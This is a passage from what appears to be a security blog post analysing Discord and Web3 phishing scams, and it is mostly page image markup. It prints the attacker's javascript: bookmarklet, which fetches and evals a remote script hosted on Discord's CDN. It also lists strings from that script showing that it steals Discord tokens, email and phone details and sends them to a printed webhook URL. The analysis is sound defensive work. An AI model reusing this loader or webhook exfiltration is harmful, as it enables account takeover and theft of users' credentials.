https://substackcdn.com/image/fetch/$s_!OzMc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 1272w, https://substackcdn.com/image/fetch/$s_!OzMc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OzMc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png" width="1000" height="165" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:165,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OzMc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 424w, https://substackcdn.com/image/fetch/$s_!OzMc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 848w, https://substackcdn.com/image/fetch/$s_!OzMc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 1272w, https://substackcdn.com/image/fetch/$s_!OzMc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2b75919-086a-49cb-ab4b-49959b55de87_1000x165.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Despite the fact that the malicious site appears to be broken (or perhaps still under construction), we do see a clever attempt to host the malicious JavaScript on a Discord owned domain:</p><pre><code>javascript:fetch(/*xmarksthespot.*/atob(/*Whitelist.*/&#8217;aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvOTM1MTA4MzQ4MzYwMTM0NjY2Lzk1MTkxMDEzMDY5NjQ3ODg4MC94Lmpz&#8217;)).then(leaving =&gt; leaving.text()).then(successfully =&gt; eval(successfully))</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dobo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dobo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 424w, https://substackcdn.com/image/fetch/$s_!dobo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 848w, https://substackcdn.com/image/fetch/$s_!dobo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 1272w, https://substackcdn.com/image/fetch/$s_!dobo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dobo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png" width="872" height="45" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:45,&quot;width&quot;:872,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dobo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 424w, https://substackcdn.com/image/fetch/$s_!dobo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 848w, https://substackcdn.com/image/fetch/$s_!dobo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 1272w, https://substackcdn.com/image/fetch/$s_!dobo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8fb34ea-6f74-4aa5-aef9-9a85cef909fe_872x45.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><code>cdn.discordapp.com</code> is the home of media uploads on Discord.</p><p>At this time a full analysis of <code>x.js</code> is beyond the scope of this post, but we were able to dump some strings during a preliminary analysis:</p><pre><code>{
    &#8220;tCaTr&#8221;: &#8220;You must be logged in to be verified!&#8221;,
    &#8220;VLIfL&#8221;: &#8220;not discord&#8221;,
    &#8220;zjtSw&#8221;: &#8220;httVz&#8221;,
    &#8220;PYpUd&#8221;: &#8220;hilBt&#8221;,
    &#8220;RDOhl&#8221;: &#8220;hUhwI&#8221;,
    &#8220;YFxdN&#8221;: &#8220;QZveY&#8221;,
    &#8220;pGiOE&#8221;: &#8220;fLEax&#8221;,
    &#8220;WzyaG&#8221;: &#8220;bMors&#8221;,
    &#8220;nnmVT&#8221;: &#8220;HjhYS&#8221;,
    &#8220;xdZiY&#8221;: &#8220;(((.+)+)+)+$&#8221;,
    &#8220;eorVo&#8221;: &#8220;return (function() &#8220;,
    &#8220;SmSId&#8221;: &#8220;{}.constructor(\&#8221;return this\&#8221;)( )&#8221;,
    &#8220;hSOfp&#8221;: &#8220;RXkIJ&#8221;,
    &#8220;JfwQW&#8221;: &#8220;POST&#8221;,
    &#8220;fFjJA&#8221;: &#8220;application/json&#8221;,
    &#8220;uTPKN&#8221;: &#8220;lpGeS&#8221;,
    &#8220;GTCOa&#8221;: &#8220;ZAHvL&#8221;,
    &#8220;TgnuJ&#8221;: &#8220;htPPV&#8221;,
    &#8220;QVwzX&#8221;: &#8220;NLjuq&#8221;,
    &#8220;YDyKm&#8221;: &#8220;nHpUC&#8221;,
    &#8220;LZtzQ&#8221;: &#8220;bBGYi&#8221;,
    &#8220;uLHAM&#8221;: &#8220;oxqpQ&#8221;,
    &#8220;noJTY&#8221;: &#8220;AVAFo&#8221;,
    &#8220;XTkiZ&#8221;: &#8220;kSGHS&#8221;,
    &#8220;eWKtO&#8221;: &#8220;TIOyk&#8221;,
    &#8220;OMtYB&#8221;: &#8220;log&#8221;,
    &#8220;FNpyg&#8221;: &#8220;warn&#8221;,
    &#8220;BLjkX&#8221;: &#8220;info&#8221;,
    &#8220;LmRQM&#8221;: &#8220;error&#8221;,
    &#8220;fiVSQ&#8221;: &#8220;exception&#8221;,
    &#8220;tbiTg&#8221;: &#8220;table&#8221;,
    &#8220;wFORl&#8221;: &#8220;trace&#8221;,
    &#8220;WpDWO&#8221;: &#8220;ZfGRe&#8221;,
    &#8220;epmIH&#8221;: &#8220;mROhB&#8221;,
    &#8220;qrJNY&#8221;: &#8220;sXEBm&#8221;,
    &#8220;uXpno&#8221;: &#8220;<a href="https://discord.com/api/v9/users/@me">https://discord.com/api/v9/users/@me</a>&#8220;,
    &#8220;XjzYq&#8221;: &#8220;NbFEb&#8221;,
    &#8220;kZSAk&#8221;: &#8220;cakNw&#8221;,
    &#8220;SEkWt&#8221;: &#8220;YkYRW&#8221;,
    &#8220;bkSGs&#8221;: &#8220;SyUyv&#8221;,
    &#8220;eEJEC&#8221;: &#8220;User&#8221;,
    &#8220;UsUtV&#8221;: &#8220;:e_mail: Email&#8221;,
    &#8220;nppIo&#8221;: &#8220;Not Verified&#8221;,
    &#8220;YKPbw&#8221;: &#8220;:mobile_phone: Phone&#8221;,
    &#8220;rwYHh&#8221;: &#8220;Token&#8221;,
    &#8220;dLGGN&#8221;: &#8220;Login script&#8221;,
    &#8220;cWskP&#8221;: &#8220;beforeunload&#8221;,
    &#8220;oKqpj&#8221;: &#8220;https://discord.com/api/webhooks/951908349677568091/4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF&#8221;,
    &#8220;DckyP&#8221;: &#8220;discord.com&#8221;,
    &#8220;DcpUu&#8221;: &#8220;iframe&#8221;,
    &#8220;klTDd&#8221;: &#8220;display:none&#8221;,
    &#8220;ltDUi&#8221;: &#8220;load&#8221;
}</code></pre><p>A closer look at that webhook link potentially reveals the true intentions behind this phishing page:</p><pre><code>$ curl <a href="https://discord.com/api/webhooks/951908349677568091/4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF">https://discord.com/api/webhooks/951908349677568091/4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF</a> | jq .
{
  &#8220;type&#8221;: 1,
  &#8220;id&#8221;: &#8220;951908349677568091&#8221;,
  &#8220;name&#8221;: &#8220;Spidey Bot&#8221;,
  &#8220;avatar&#8221;: null,
  &#8220;channel_id&#8221;: &#8220;951907890422222938&#8221;,
  &#8220;guild_id&#8221;: &#8220;927995455508447242&#8221;,
  &#8220;application_id&#8221;: null,
  &#8220;token&#8221;: &#8220;4N7ccrI6NWBsD-Gw7BIs3MTyYm037ixS1iJvzwiQESe1z_gE6Se6j5JPMmQArspuJ4dF&#8221;
}</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7hlw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7hlw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 424w, https://substackcdn.com/image/fetch/$s_!7hlw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 848w, https://substackcdn.com/image/fetch/$s_!7hlw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 1272w, https://substackcdn.com/image/fetch/$s_!7hlw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7hlw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png" width="638" height="646" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:646,&quot;width&quot;:638,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7hlw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 424w, https://substackcdn.com/image/fetch/$s_!7hlw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 848w, https://substackcdn.com/image/fetch/$s_!7hlw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 1272w, https://substackcdn.com/image/fetch/$s_!7hlw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0cbb1905-3ca4-4fbc-92d5-5b6c56e1b5c8_638x646.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><a href="https://www.tomsguide.com/news/discord-spidey-bot-malware-is-stealing-usernames-passwords">https://www.tomsguide.com/news/discord-spidey-bot-malware-is-stealing-usernames-passwords</a></figcaption></figure></div><div><hr></div><p>But not all Web3 scams are blunders&#8202;&#8212;&#8202;some combine clever technical implementation with good timing in order to rapidly wreak havoc. One of these attacks went live on 03/20/2022 and began with widespread twitter spam originating from seemingly verified accounts:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!h3l1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!h3l1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 424w, https://substackcdn.com/image/fetch/$s_!h3l1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 848w, https://substackcdn.com/image/fetch/$s_!h3l1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!h3l1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!h3l1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg" width="1000" height="2222" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:2222,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!h3l1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 424w, https://substackcdn.com/image/fetch/$s_!h3l1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 848w, https://substackcdn.com/image/fetch/$s_!h3l1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!h3l1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc60d27e1-4ffb-4136-b84c-bf3e7c0942f3_1000x2222.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Victims are offered the promise of a very highly coveted token in exchange for 0.33 ETH:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bjp2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bjp2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 424w, https://substackcdn.com/image/fetch/$s_!Bjp2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 848w, https://substackcdn.com/image/fetch/$s_!Bjp2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 1272w, https://substackcdn.com/image/fetch/$s_!Bjp2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bjp2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png" width="1000" height="740" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:740,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Bjp2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 424w, https://substackcdn.com/image/fetch/$s_!Bjp2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 848w, https://substackcdn.com/image/fetch/$s_!Bjp2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 1272w, https://substackcdn.com/image/fetch/$s_!Bjp2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe01f3d81-b133-4e16-8b74-f729ac0b1a64_1000x740.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">ape-coin\.net</figcaption></figure></div><p>If we look at the code under the hood, we are met with a pretty well thought out scheme, but only after some really hateful/nasty comments ironically directed towards would be plagiarists of the attackers code:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fpGx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fpGx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 424w, https://substackcdn.com/image/fetch/$s_!fpGx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 848w, https://substackcdn.com/image/fetch/$s_!fpGx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 1272w, https://substackcdn.com/image/fetch/$s_!fpGx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F12e409c7-60b3-41ec-9e04-b013940d0207_485x215.png 1456w" sizes="100vw"><img 